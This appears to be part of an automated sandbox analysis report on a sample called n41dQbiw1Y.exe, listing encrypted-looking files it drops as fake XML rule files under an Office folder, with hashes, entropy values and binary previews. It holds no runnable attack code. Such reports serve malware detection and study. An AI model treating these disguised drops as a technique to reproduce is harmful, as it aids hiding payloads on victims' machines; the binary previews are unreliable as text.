Preview:	<?xmlM+...+c...G-$.<{.!4...e..d.WZ...2)5.C..BW..%.%...A:.QZWQY[(Y.2.a.?.... ..&.,..a.,._G.1%........>....<....{eqNpk....,....d>......K`..!.0.U..,....2..-S...&..h... ......m.X.. ...un.-.Q...v[.TxQU;.......W.Kk6...V.....~w..T.<u>;..9..U...C.......}f.9...Zc..L.{J.y.....~'.g...........nro.\|...D.....5......n.c.:...D..k^UU...~P.9..-7o..=...S.j..C...._.....FT_y..-CmG...~..Q&...2..E.......48_~s.......`...<]q<Pz1....@.TD+)....w6d.-.S...).....]....=0Jw.3..Y...tNb.. ...W.0.+F.N...O\|3M.......ih.E..EW..'..ok.?.'6`.j.....#.x%.....N..i'L.2."..q....}...U...i.....!E..M..&.$.Qm5...../S....e ....L... ..k_.L).....v...R5..<.X.h.T..C..V.0.?'GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.8888152464285834
Encrypted:	false
SSDEEP:	48:xjJZKUPDFDitRDMgM97WNZ5NrFkmJLFIDfx4qqQzD:lbIMR4ZCmJpIDfx1f
MD5:	E9C5E825DEB63CA22B99030BB8FDF1A1
SHA1:	1571706D36C86DE2F735171F6D00A0F25EC621CE
SHA-256:	29B28A043110CBD2C46E15017278FCBCADD347D0D2ED3C9330245813E31A03AB
SHA-512:	E28722033E9D8019D2202FE1FA658DC1AE15FB58B2DA9677BA6B51A5BDF6ED32E8F4B9C0834851E1FCE9871C3DE45D9DFC0BCDC8DA3C604C2297F58E3BA8D115
Malicious:	false
Preview:	<?xml.b.......@xM/.d..(.K...5.l.(.f...L.c.K.~W.T...u'...+'.....J...z....W..\tt..D..q...hU_. ._.^.....W.#0......n...>".<.r....h{..o...4M.@/'.X..3r.....]...tZ...{..#...V..2..v...4..,H....y....'.....P...J\. ..A`M...R.B^.c1.7l.].....s!.f.$....i.DP..2..U...%.d.........h..vI..wd....-vR'...........~-..........EnR.).?....z......A..\|X0...[J..}.M.xj{...Bv..8.F.!.,@.~#7vo...t.6 9E.oM.V...HHtm'W..,.ym.\|.t.V..n2..jCNu...c....xe/..........]VQT..p..o%I..>....[.".,.I....(4u..Z.........mx2{(..^... ...F..d.......=....../.x..cc.c...fr.%....".......hNH...G.x%9(..........R2.....9...6Ko.Q..PA./tG._>M.\|...R...33...B.zQ$..@`..K..iX.~.A$..G..b...>$...}..L).=o..W..("?G.q>...q.RbQ......s....n...e.q...#...I7.p.......z/5..........p..1.>.(\|i.]....G....E....>3..... ...8.J3..MR.k.......^.1..6D..U..1....2.:.{...%WF..t...{.Uc...V...+.R'........."...,.....M.K.9o.5.$...%...j_).L.....~.9..+.....(.EG...JTg\.r..gd....l.C....t^.@.G..Liw.\|.C..v.M...\|+.....H.KD.O^..0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.74214037454232
Encrypted:	false
SSDEEP:	24:LgxxdgPd2tZVu2F9aG0IELjeGO2e1nN4hLP228TbD:cLePYVbFB0IgZPanK228HD
MD5:	3908BAB98093B93B2495006C8702072F
SHA1:	E787D6ADE9643DBBBBB167A7AD201FEB52DB7328
SHA-256:	3978B07231664864FAC4A00BBB5FC5F3B99ABA4477CE85A84DDFF89663D0701E
SHA-512:	888EA6CD1AED870886A4895524979DD45E678DCB9C6B6C2BF8F62ADF412C4DC3BB7612141EEF58756517829212E28EB9D389AD79E91803221CCC269C016DAEFE
Malicious:	false
Preview:	<?xmlj~.8..S.}..HS.....x.N..l..e0.r..W..8..:Z=..^..7Y..V ...W..N...........6.......g..f..,..pQl.G{P~.....Z.$ZG.K@....V.$G...f.?...-.\|Y>.x.#".M.p.E..8H{.... ...L..O....J...\|9X..Z.6m.P.\|\|....`.V.... .../..4C..g'5..X].6..b.4.P.Mf...U.3%.F../.o`.zQ.O.1.._...Q.G.......K{ ..K.:..<.G...g..$....G.........V..u....?.5_.A.....>....g...0....f%L.E+j.....j...b.K..b.....Q.2.C..o..X6.v.y)"u.].k?...U.p....9...[yK.1....O.7_..8$..k;...~...c...#.!(>...M..E......V.&K..~.....m._$....Ot.:{c_x.Q.~..H.k.pu6.F........>..*f....k....?N.]-ak0.b....t1....6.8A...Z.D...=.Rp.%.O<..Ct.....n.Q.2.ZU.l..0B.V..Q8.J..}p...M.=8..dw.}s.R....@A.;<;J..j...$....W.........5.t@....Q. ...M...+%;.N.a6#..F..c.L9.D..G.[..@.......S...s.Qe..S..Q.._.8P..J...4..;.....u.~....54....q...L..g......%... .C.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.842258314046564
Encrypted:	false
SSDEEP:	24:URmTO5DhdBeWZTTKwFzFEPIMJZ83QdxSrKu/KdwRXP24ctwGEdwNbD:ZC3FTewFBQCQGrfRXP25wvdwtD
MD5:	30CE8B1983F86EC4C6D3443F09B1C065
SHA1:	749D2458B33057CE7D942DB838173CC1B528B515
SHA-256:	EA766958B1E68FB027C04358945AB9EB0153EDF09E1A2BDDACC1B60C81EBA86D
SHA-512:	16B7482E57AD5A87EDEDB00EE87D21F3CCEFE1FD08AEB5CEA52807D46709312212345DD9CF819CAE3EEA766066D0DCF5600C31AD54DCE635CA6BC1750EC3EFBF
Malicious:	false
Preview:	<?xml...T\.........4a....>7.....6.T.....+C.b2.....>.U.W..<>Z.+/....1A.)..d.w.;.sI..w.]x...Rq.R....h....6Q.._@.A.....:..?..Q.?fYk...TL\|........./..8b.dK...\|).w........&..8.l....^...v..gPT....7a...[...T..o......G.........t..}(..X.]..Z.&.#R..(U8.....Ky.3.}"...fbcX....3......@&......!.sg......g-6.".fS...4x^...'..V....h.D..q...l....D..-..w..."...J0.b...b{\5..J...._"...6.a.[.An..l9..].$b.w.......s]B....=k......W.Ao...Y.7..u...bh<..}.u.%...H..\wX@..$....\|.a3o.T...NA.....G..6..t..d.E...4.V...a...H{.......jT .......X!.j$.A...vN7.U...pd.5.2..~..@.K........-..{T...4.Y..$u.ds..x er.;..p.+..<.WE9......N...i..0.H..s.A....C...FX_....o.aH....%..Ms..V.p.9..Z....F...l3.P,.....r..ZD.a-2.UW}..._.N.s!4.t.......sR..h..\|.....!..&.S...&.$....y.#..m\...k.q.<p.e.\|..Sh.....Kx:R.....t..ma$..G......g...2/9%...\........'...D.jg..%...E&j..mv...;.y..p'r.....".}.v..4.....+...#....Q.=.G.\|.......";.S.:^)R7$....`........J..T.F.&.......P.>~5u.U..L...T...H.].9mYS.a4<mGQm.u).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.844122214496411
Encrypted:	false
SSDEEP:	24:rRZKseL/63Xa/WWVRyKk15Fww0hsYmmtMqktn0ANs9KG6/VOg7YpN0bD:rneLMXuvRHEYmKMqbKGCEg7u8D
MD5:	22BD16D2BED83374779A24981B3EAA8F
SHA1:	A3E2AA19CF7B5FE28B9F3D0D1D937886832E0179
SHA-256:	D243F9CE0A66E5423FED5111A038AF2F596F17D430F2344DBBECE7F9997186CE
SHA-512:	8035A441EDAB2FCDF7D9F6E6F7EE8BEE12A412F28BCE9C94F49A3E5BC7AF12B1B19CBCC4890909729C1E313F479B646E306A63683AA978568D94EA9BA1617132
Malicious:	false
Preview:	<?xml...+....u...'`.f.....d.....].....!.N}..S.,.Z5Cd.."ir~".`....M...B..iR.......38......;..bt.n3.."..........l.J.!.W....B..F..P..O...l.h..._..&......>w.....\|...<.y..S.......,.I.."...K.l..Y.....}...4H.,....y1`S.-...r.g..Z;..4..)..}s.,D.3US..Cx..e...f..{.k.......5`ih..by.........5..1..6%k.9O..s.8......+.Ur.:..>d...8..S._.......#>..M.V...sy.;..=j$\%.S?..&lu..u.R.l~<..lE.O.`~.E.?m6z..TZV.tR.w...j....e>.J..mG=o......t.....j.!_..1e.^.....M.^G.j.^y>-Hj....{......#&.(.@.y.........?^^.'.zV..lniY...RT9J....[...?.,.s..hQ.j.....$......2.S..?J.........%K.....&TK.t.V...u.vK..kvC..6;...a..c.}.S.p7.2.r.ZQ.~.....U..........@P....wI..p.K..[Y."h.Ss....0..>.W....#.&...(............l........{.D..8.h(&l...+...4.{.n.`.'.n.1.t.m-...+i...v..(..G.....y[z..?.['j.S..qf.#..,..aGZ8...F.......A..6.G......4oVy...$0.`....;7......g..I..tN2.O...:......i%.9=}...b...\|..F..T.0P....-txGm1.%=.._A...V{Z...`.S.xhc.6fl.#.#~..G..^..P.!.\.p!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.977905067047272
Encrypted:	false
SSDEEP:	192:seT1nSUixbZgRSV0jRPZOhw5XJfVplbHLujW0xO0:seT1SBxbZlERPZOhw5ZR/IO0
MD5:	3CEAB5C11347D9EC0DDB84FD8E79C4F2
SHA1:	C27B0DFE94189153D75E312041B983B6640151D9
SHA-256:	902DD28BC0F74C75A99B2DC87EF5F640186E776BE7CE562D4D82AC940D858434
SHA-512:	828B7C6B88698BFBDDDB64B3347B9213E6C6397B37E785A3278E0F97A3CACEBD4EB503F712D2F1C2E46618B020DDCFCD66718132536367122CA0F969119A0FD6
Malicious:	false
Preview:	<?xmlb8.i.!.y.&..3.....v.....V;.\|J>...G.z..T^1...z.M/.6.G........dI...T..@B.......9...&...M..YB{Y.x.....m...b..B?q.@....e.....$H5...4i /..^.X...v..~.m....S3......))....... WW.7..=.t-Ga..e%.7....../...q......._i...k.R..<sv..y8._..n..00....6V.r`u...-z.Q0......a`...)..../?>nAqg...W.xc...Z.Dq.A.:0i.C..<.....^......I..M[s#....../i...)El..3.........e.,....Y.;.!Z...Xj..?.?.wp.....y.(i...S4C...)...;.z.E.._...Oc.W..43..8X...A.r...)a.....M0..R.m[..)~.1..E.E...3............4...c.v.;../m`...,..E.v E...}.....Kh.....?i. ..2o.k.V..Y.p.....0...h....E..'E44.&_....W.]...Cg`.r.......1.d..C...........U..`H2.......]..$M.....K.c.$@........d..dh..........@..4.w..p..u.R.~....N....K..~:..c.....T..L.ZXH8.N..q.....k..Z...4c.`./... ......R.Q.c....).tVt..@c..N.......d.....$q..3....4..r..za:!..XK.....u+p.4<.ic5......P7_.s..L! .......'..Jt.X.6.Q.........[.y..!.X..v..%..........n?#5Y.cU"D87u.....d.cN".i.n.....M.H.<.E.....}...........J.0.^\..Z).k&....U..aJ.i.P..=x.iU

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.754389669049275
Encrypted:	false
SSDEEP:	12:oxJEsVB2YAKU8Jsy1qhuiavQSqayjh9WP/rZBlQOHx7n4vOBdShNnExUMKdhYciD:ogsv2KU8b1qIilt79w//lQOHx74WbSju
MD5:	A8E4B85F24F7EEE9F75D54A8FC2B01B6
SHA1:	1254661CED025624DBCE78E5E5C055C46C79D572
SHA-256:	DA920A63A4691FDD49F18941516731A4EE5E2C07EBAA7854E6C7F682E0A5BEC0
SHA-512:	99B00C47DDAFB093972F50999A1105EB34E7A41CCEB42D2DE8DF8E39AD0BBE3F2382F9BDA300CE426840226F90526E2C4786431500BDEA5E4CF684423E35C8C2
Malicious:	false
Preview:	<?xml..]......J.i...[.7.l.Q'Fy.....5x....-..:u...'.......b........l=....Q.W...`g.'.".....7w.6..s....-...Mc..4..@.*..V.C.I(..c.....t..I.%h.m.d.$.d~.....}..R.G.9..W&....q..U..w...l:...U..8.....O.n..2..6JAw...g.T.Z...'no.9../!........hS...J#.........t5.U(..q....t.nJ..........=3..zK#E.k.q.._.....K.pK.s..G...q...'K.Q&R1...^ ..m.....tL.J..we...ks.B..E..&.q.2...WIS\|;:gJ.d.QK...^.#..w.[.]P......{..Q>..,..k....6......)<l%.P.mX....w.?91$w{.....k.../R..6...X....2b.7R.]......#&u..9.....c.K..w0)..u]".b.S._._.......66.......\|..iT.(....c..$......Q8Wp..j.W.t...V.+....P....ZFc.. .P....6/.y(..r.Q?........J..C... j...2..fs{.+.$..+D..I.n.....;4.....T.o..k.e.HGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.867326485916374
Encrypted:	false
SSDEEP:	24:T4vyXwe416KzLtyfTrfjrNDVhfR0NNFX97R1WBwNb5iYhrU6jQeCG/0Rna5lm/eL:spe40YLt+3rNDrK31h5lrUvGcRoieeeD
MD5:	FB23CDCE1CD24F42B17A26B887590836
SHA1:	0F4DBB56DB99EE7064DF2881CFE81631B48D52F1
SHA-256:	56861CE70F924C9A3DB5757FD889A51E4C072675D28056F33E0099B9B29D599F
SHA-512:	0D33E98AA2658F8BE2A038DF3B5D6DB2F39250DE43079C73527A06990DDFF7145F587F50522958D26967636E93B2709C1C26DCC0A09AE15EB3D14EBF586EFC6C
Malicious:	false
Preview:	<?xml..E...h'..1fG.3Q..g.....)I....>u?q..\.R.KL...cV.T.....`_..\r#.52!ZL.iAW.?.#(LS.x.=.oc-.x.T..\|...>AV..+.(.{....6.....mN.6q.Z...xJL~>..cP.6Z.P.\|&..0 ............O...E3r..A.K..o..).D~..j...,..RsA..EEC..X......e...........)).3X...L..:...$.......X.hh.%....N..v.U...pR1BT\|;W.......6.U..=).Q.S......8.c&-.&)..^^.,.h`.B....F..$]...o.b..`.h..0.,}.k?cn?~.A.........%,.;....T\|.0.....M%...[..R9..uy...G>......i4......3..U.....]p.LS.p..,.0.!.Z......r.....C...u.b$`\X4+K...{.......bW.D...8.R.....M\|...[l......h/...Ppe.&.r....V..U>..Ii..#.r.5.5Cd4Hr...6.y%./C......u...q..../.P..h..l(.X\|...j.{.AY'f.....ynW.Of..!.....YY.%R...Nxw."v$....@........Q"e....QA.K].A:-6.U.p.$.....<Ii.o..c....[.K3.U.H..FM...7Q...O...f......?i..5./..rdu"4W..H<..../......./..6p.K.......2.H..-o$..:"\S.......37@..I...1.cj..hdEU...;...nN!.R.G.X..._w......,g...u}u....#P.4O..C.........wn..#j.j..o..c...{.A....)`..Q...Z..8.l.$...........XH....-t.1..Z5.n....T..:*Mq

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.945841446453282
Encrypted:	false
SSDEEP:	96:zoucVimhcpefD6l2hWDCwPpZU3RbhHxpuXIHbxkeposLcit:zouckxISYcpCBbB+XI7x/dLVt
MD5:	F6D498B05E0B37AB6FEC772C0746E7AD
SHA1:	E7109FA35B175D3CA0832D9197064EF2DC903593
SHA-256:	0E5CF77CDF5AC44CA91BC16B5D1351B1803EDCFAE6E7C4C9F1D61CDC72C372B9
SHA-512:	D9C7FD932CE3FC0A01B4764E69F4EE96161C6603A8BBF82088A9368B017ED8D4AABAA59D0F2DEDAC8A2174590A6D31E35818D579955CA48AC32A65CAEBE648BB
Malicious:	false
Preview:	<?xml......lr......#...v..r.U{%.D.d%.0J!..z..B#c$n ...f#...'0..n...Q....{...n....H/..Ib.....yuy..`.'..0...pr.H..k........3....Q..'.M..S>F`.U.....0,.T..u..+\..z..R.i.Q...k;}.....y6.....6$.;..n30.!..b~...m)..o....]..Bu..?o..F8k...^z..xB.-...}.H.c.....c.....s.rh.. .:...`.....F.X.M....t.;A.]X...........aiv;...`..P.6...F~..i>!(05.{bTN$@.I3..i...nf..`.`.[?..2...J..C.x....S.H.su.....q._..`....<.'L..O.%[.......0.!+&0...C2. ...61.00c.C.XlPk.en...7K.-.V...;.8.`.b.6ai.C..... V.../.n....#....?~u.4.+b......9.......z.Du.q\|/..7.I.d.:.;r....Oa.sGk.i/.c8c..}...2}..I..<v..........&..F..U.4.p...d,..2e...D...{..BJ.._.z.6\hw...}KA[.....nz...p.d.p.....%.7....j6.......KTT..Z...R..h#...0b#.$.T..6.I:.............W......\|>.]Z.3.(..Q..kC..vc..r.?....7.).&........l.4L..7.;b.../0.....9d.n..\...<..v...:.y..\..._Wcm.......5u.pWq..4.J..C....(u..3.u.`..1....q..i..(7.K...Y..6..E...{J.3.c../$.M...i"~....7.J.`.Q....M.....H&.$.S....5...w.k.t.....WI.....{..Jx

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.800745287178896
Encrypted:	false
SSDEEP:	24:IlYy1jKVQtZT7CBAow4pc+Q18zwEKfsbD:I+yZKVQzTUnw4pNQazifmD
MD5:	CF6623A1FFCAA91546755E2387463111
SHA1:	B6ADF19F463E6DA099BDF32634A24B17087F1F52
SHA-256:	DE5371E6677F3EF0BF3790D7775172FC119A60465E5104BFDCACC05023882429
SHA-512:	40479E0DE4839E3306A6B86C2452525326806B8E844CAFAB2D20A6AB3A63007CADE78BAF0A606E9A07DEDF0DDF908B6C98B5FE9E213524287133CA206EF99073
Malicious:	false
Preview:	<?xmlZL..\..3....)...yGG.t.;B.>&.<p..r.W.....j.......M(..r.4@........q..\|G... ].XM+.F..ZT.;lKsu......\|Dt.}.....~.O..#..R..J.mn.L...Q.BR.O......f.7;.$..E..j.1...V.I...Om?..c......w.cU..-.r.Bz(.ki.<...bu.5.v8ZS.....R.....(.}.:W.R..4.V.n[...mu..^.....s.qK\|'J....>._..D.,k....l..8a....k.,#......'...k.N.>..a2....0.;.......?)1..../...^.$.5.+.XP.E......K..$)..L..}....S.E;.K#1./.......H.e#.B(....Eh^.q>..... .W..@....g...g.YZ@f.)W../.J+k...<..A7.....YOxa..rh..&{.2DW..^./q1./\|.. .....z..u.\.aj....N.5~.....]i. .....g .72,'(A...A....2.....w.W....0.Ex..X....q.s.!....4...A-.?..c....}.=_....}-.FU..\.O..1.jQU...C...pP..dY?=Nc-1>Ct. U....Ku.At......A..............JL..k.2......$..g.I,....._{.01.....DhQ..%.....}.z.x)?....V."..?..\|....$....U.C0..n..!....N.%1....U..Az...8..L.n%...7....C......O...O.b..Fcy..&.l.$.q...u..}..c.....Z....#h.K....)......GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.944407618127131
Encrypted:	false
SSDEEP:	48:O5syb4E90Lu6O5rXijXoF8S6suLnVGEI9VcsUrd80/hpebmadfhMTXGEjsDhCpmr:O5cE9J6O4zGuLn6VcsUrXrad5UGEjps
MD5:	2159BDB90C232FDBCEEC9C06E0DD025C
SHA1:	283D2EFB1EF43A5EBE4FCEDA73D6E4FBEE67D9E6
SHA-256:	196DBDBEBEECDF084CF012CADF3F9D7F405FD1D202B6D8019F9042804B148871
SHA-512:	D3371B310190C8D6717CA8F8C67A6C1482D474CF0D9F432C8A4F13276090BD8EDFCFACAC3E2FDB08D8824F310840798B598D0588B38856458DCE55289CCEE56C
Malicious:	false
Preview:	<?xml.N.A....%..<Fr.`..!..../...c...h.3.4?...l.E......?.,......\...aZ.../2..F....X.@.4..!.G.-.v..tG6gY..`..........&.8...F6.c..!....\|......8..+..L..-&...q..vVt...\Y.......!U.~.....C1.!."..@cjX...(-.\....3..G.\.x1p.....z....X.Q..?\|..p..B....:~..Hx..$.eF..S.H...&..I"(3f.....-.c..Ds.e..zld..^..}/...e.N.{'.....a....s.........T..';.Q.g..[.'s..>.......X..9..X......Zc..".M.&m.`3.].F........!..63..]...J.....r.4...0.....@..n..o.X...[\|.bp....7..g..C....O....O.]..6G.j..r..?.G .a.&..=..j2........B.....d.1.2..n6....O>..X.3c.8..v%..Y@%{....*(+.W.......U.TR....D....w...F.t.......kd3L..R-..'..I....x{S...;...3....V...=@...,yW.).\|...."......B.S.b.....f...0w.MQ.42.STT...Z.._.6:.R.......y.#.i....(.....Z.......h.\0).......l......~...Ut...Z.n..+(5...{4..p..aP..\|........Tu.._.0A.[.#.u.>..n..=.H.....9..E.]...R.C{..........#.H.S`......&H.WP.{....i.I..V.H...3.B...Dr.(....:.j...}...x.....`...Hd....T.q>d.SY.~....{.m...h.%.4A.B=..3...z....w......\|..M.C/T..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.914864159044884
Encrypted:	false
SSDEEP:	48:SO4tW2H7DFMd86DMTeo8d7WIe/2ZyHv9PUr9ENTwnzzH47tD:SOwH1+pDMTeXFGFaRETiHO
MD5:	60795446BAF04613E339DBCA03D95F65
SHA1:	141599872C755D5EF6AF3CF7D33C891C83FDF2A8
SHA-256:	D867C9A3EBF5324120D5036E6E235DF7AD45025901A0E62902F1C70FD5D8F721
SHA-512:	28201D7CD0E588BB7CF4B2FA4E238E499E97EF8B5F92964454BF2A865B8929C306A2EA1B0A92C8A721FE3F001E710C96E1F5B3B2CB64DBE3BEE000A6AC375415
Malicious:	false
Preview:	<?xmlS..d....0....zJ.... .Z5...L?...@&.+...j..\....gM\Py.G.Be.j.D...yxvT...v.u.P.C....yp.....4......X....[=mu..K.J..&.\|.Z"..Z..Aas....w.U...+E...;.N.c.....Y..uq:k?..,{L..%J.pL.......q.Hj.a.v.&......WR#...T.....4.f.(..c..HH.A.~....E{....G.....;e#...op.Q.5.A.....jL.G.G..........w..r..#..Py@.W80h.JP...wy...?..34..t....d..iE.S...FA8.{.\.........S.P....yf,....\i..$.a.wgB.f.F.B.a..z...\|{Mu...1y..y.[.k...U+m.....F.O....Z...]....`.f.6......(jkb...(..;SG..q..b~:...O.<m.q0...._..Z.S......Y.;..[....W...J.k.XU".1.j..DIx.........y....d..V3....E.[`..;.L....q.7.p.k.M....H<;.ULI...ua.......`i......zR..........V">u...d.I.O......LG3Z..(..90..s....I.i..i..N....).....^...p...[';....C..".0...L.31.....G...P'.:...]..ZKQ.Q2.FC.^......\|..m.......D.+.j....8.....+..B9wt.....+J"..O...../.>F..3,o..'..E........!......$r.... ^.1q.Q.B.....i.#.K.b.#.Tc.............*..........1....g.{-.~...M...M..o0w8.T\|Ac+D....?....m.....tn%......j.y:#.W.t....zl...eH..f.z......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.92753607307327
Encrypted:	false
SSDEEP:	48:y6ScPK2ub6EFAlqIRCYsagsG0T2AlsQhq0ymtB3UtrNcaqFL2G1QEkDILD:BbPzuDiqGCNJshPHTe+VmrIn
MD5:	1179E4CD9DC414AC06529B4550C66CFC
SHA1:	9457ADFE40EBD5B5664EAEB97A7E2BF658F7C3CF
SHA-256:	AE212FCABDDEF2ABE1518FE35175EB65B716E92E3BDD430951855C175D25103B
SHA-512:	7E19BCBB01DA172F95F231473E960222C9AF682AD1FA936342AFFE35B2E4D4ECF94D1F3B5C9FAAD811E7B874E362C5D29DDC02C3DFB095C87F9E5DB87D6924B0
Malicious:	false
Preview:	<?xml....0>M..e[.{.....7.r..}p..........\|..K.E..%q.(.....\|.].#.EbRM.wpX#.].....B78d..~J.....X...(..CZX...cn.(.m1;..<>Dd.....\|.ClcK...k\|....7.....i............T.O3u.?..].Z...mf..q.(...w.l......vw..n.^.+...H...............>....h..K..@F.V;U...j.;..W....?.`;?U.......0.....I)_......Q...r.B..}..c...q.bO.FGL..'..F.~.......RT.W....^..z?>.0.E...{.O.(..XyD.L1/.~W..........D....."8.S..eR....L..3e....9pZ..=,.a..X.r.X_...q...B,..V......\|[....B]..Ts.$..*.N/..d2.9~;.....9W.VA.`..4.b..+..$.....OyB.)....[.^.Z.[..x.KM.VgH..k..E..W..Nv.".,b..7....HP9h.-..7.#..jO;....~..\|4...7.&..../........n...(.k..R....u.b...,.".+.5;.`m^.h%.K.......c......}.+k.E...N~../t....F~6..bw.C..[.Z.....x`R.]#....8.;..Z...B-.4eh....g.$.i....X&....a.....Y`F6....P....[....8x.....]A..u.....G_...C...Q.yb....o.5.X..z...K] I.9.I.o....J`.M....n3O..~F0E.g.0...(f.y.w{...M...?.} ....Ftw0.~..t...e.Fi.o'.j.Meju....O.Td'.."T^E.^.....l.U..6..f.....m..z..f.x.....D?Z$.U......O@..../....Z....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.956154041473884
Encrypted:	false
SSDEEP:	96:rod+R8oAyYmZ23PqTgC9paBooPAyIcyqclH5klPGzpg6CJZfy4uJ/15+KnUuSkU:kMR8htmM3mgCP8oSdsblHOJGzp4JsjzM
MD5:	FFDBD2F30DC189168CCED06305237E22
SHA1:	288E35B196C2F4C250CEAACDD7746D4F63296C8E
SHA-256:	4C48F19C7C8028094BE42DF3AFBBD3314CE7E35FC6431633FFB4D6341C2330CE
SHA-512:	3403DE876626BDFD7BBEC68CD11192BDF95DC8B9961915A55FA771E7AEA157E85B4DD1476CB72C102DAEFC2E25447F87D8929EB8BD604A9F5E6779693F714971
Malicious:	false
Preview:	<?xml.;....M.....L?2^.w;Qt.....x..%.m+...\|.....f...`....&]8...gT..}...`a....W..`&.$..p.....>..PKkk...2..Hg.s{..;..s..........]...0..8.k.#.I..P+b....ny...K...0..<{;P/.0].p6a..?...'..Nr....x/..s8.)........#8..f...>.W:...>.....0?}.Tf..}.r..C...n9.....T...PWV...sTTN{..7...'....U........4.O....U.....C.b..o..\v......7....CE..2....b.........Cv.Q..>."".0.A]..B.8`..0..uk.b....<....n...0z/v5......@.;.3q..FP..C....S..(..=mF&.n....w%a.u.......xL.:'!..;..~T.;VE..{.Y9.@../Kn9r..B.t.K".,_.Z..:".<.$.C......l...a.T....<!~........{...2..\|..~y.M..y[...........t....KO&n}..&.Ek..&..z.&ht..H.-.;...X.f..\|...M.8e......AdRi..!.wp.e.."w..s.._TH..U..d....J.X29.q...;.b..r9.=.@....p.g.7l.....K..lE..b....gZ.t....a..}:._..E!0.M.a8...@...up..:..n...\.C...J.W.@.....L=...)....EA.....~tC...{jS.$.+...o....5.^...._.qe.OF..]m...G@....l....(..'<.....3.j5...(...N.{O..9...7..G.<o.n. ...m"...G.A..(.>..4..Pg..].=..J.....@...M.X.b`.G8Z...Z..w...5.t..V..QV4_.O.......j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.9767215012038015
Encrypted:	false
SSDEEP:	192:gKFE/1JVVca1H4sqroLetkh9bRtRoUMqY:gb/VVcalhsK1tRoWY
MD5:	1CC467F4C87E9AA877C3B2E3549FA2C3
SHA1:	21FF8B4078D81AF560D3E01923102751672C139E
SHA-256:	1EBD96DDF03BB9621E3F465FFDBF674377C0AB69DE99C4BE4EE73699434BD216
SHA-512:	D0BFACC7015103C2232329940183E1BBF9E2FA914F7742AE5594D88C555084B591390F8AAAC107223024EF0574105CA74E5EA2F3DF6BC75A4B427CBD226B5E8E
Malicious:	false
